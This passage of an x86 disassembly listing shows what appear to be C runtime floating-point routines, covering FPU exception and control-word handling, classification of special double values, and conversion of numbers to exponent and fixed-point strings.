		ja	short loc_4213FE
		fchs


loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43CF40
		jmp	short loc_421426
; ---------------------------------------------------------------------------


loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43CF50
		fchs


loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43CF50
		jmp	short loc_42144E
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43CF40
		fchs


loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fld	dbl_43CF40
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs


loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]


loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx


loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------


loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx


loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx


loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx


loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h


loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F


loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------


loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx


loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx


loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh


loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx


loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB958, 22h
		retn
; ---------------------------------------------------------------------------


loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB958, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43CE68


loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43CF40
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43CE6C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3


loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707


loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4


loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427878
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------


loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A


loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427878
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax


loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1


loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h


loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------


loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43CF68
		fistp	[ebp+arg_0]
		wait


loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43CF68
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43CF74
		fstp	[ebp+var_8]
		wait


loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427888
		fstp	[ebp+var_8]
		fld	dbl_427880
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427710
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 2680DC2h
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26B037Ch
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------


loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B


loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43CBE4, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------


loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF


loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43CBE8
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43CBE8
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951


loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945


loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982


loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------


loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax


loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax


loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43CF90o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB9F0, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB9EC
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------


loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h


loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43CBE8
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB9F0, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h


loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl


loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB9F0, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB9F4
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB9EC
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------


loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h


loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------


loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax


loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43CBE8
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB9F0, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------


loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1


loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi


loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h


loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
